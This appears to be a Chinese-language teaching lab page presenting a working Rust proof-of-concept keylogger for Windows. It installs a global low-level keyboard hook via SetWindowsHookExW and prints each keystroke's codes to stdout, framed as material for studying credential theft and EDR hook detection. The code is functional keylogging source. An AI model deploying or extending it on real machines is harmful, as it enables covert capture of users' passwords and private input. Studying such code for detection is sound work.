实验编号: 001
Rust 按键记录概念验证
已归档用于教学检测分析的 Windows 按键记录示例,演示 SetWindowsHookEx 的使用和正确的钩子链调用。
目标
理解 Windows 消息钩子如何被滥用于截取凭据,以及 EDR 如何检测钩子注入。
约束
仅用于教学。重启后不会保留,仅输出到 stdout。
- Rust
- WinAPI
- Unsafe
源代码 · 原始语言src/main.rs
1use std::ptr;2use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};3use winapi::shared::windef::HHOOK;4use winapi::um::winuser::{5 CallNextHookEx, DispatchMessageW, GetMessageW, SetWindowsHookExW,6 TranslateMessage, UnhookWindowsHookEx, WH_KEYBOARD_LL, KBDLLHOOKSTRUCT,7};89static mut HOOK: HHOOK = ptr::null_mut();1011unsafe extern "system" fn keyboard_proc(12 n_code: i32,13 w_param: WPARAM,14 l_param: LPARAM,15) -> LRESULT {16 if n_code >= 0 {17 let kb = &*(l_param as *const KBDLLHOOKSTRUCT);18 // WM_KEYDOWN = 0x010019 if w_param as u32 == 0x0100 {20 println!("[KEY] vkCode={:03} scanCode={:#06x}", kb.vkCode, kb.scanCode);21 }22 }23 CallNextHookEx(HOOK, n_code, w_param, l_param)24}2526fn main() {27 unsafe {28 HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_proc), ptr::null_mut(), 0);29 assert!(!HOOK.is_null(), "Failed to install hook");3031 let mut msg = std::mem::zeroed();32 while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) > 0 {33 TranslateMessage(&msg);34 DispatchMessageW(&msg);35 }36 UnhookWindowsHookEx(HOOK);37 }38}只读代码UTF-8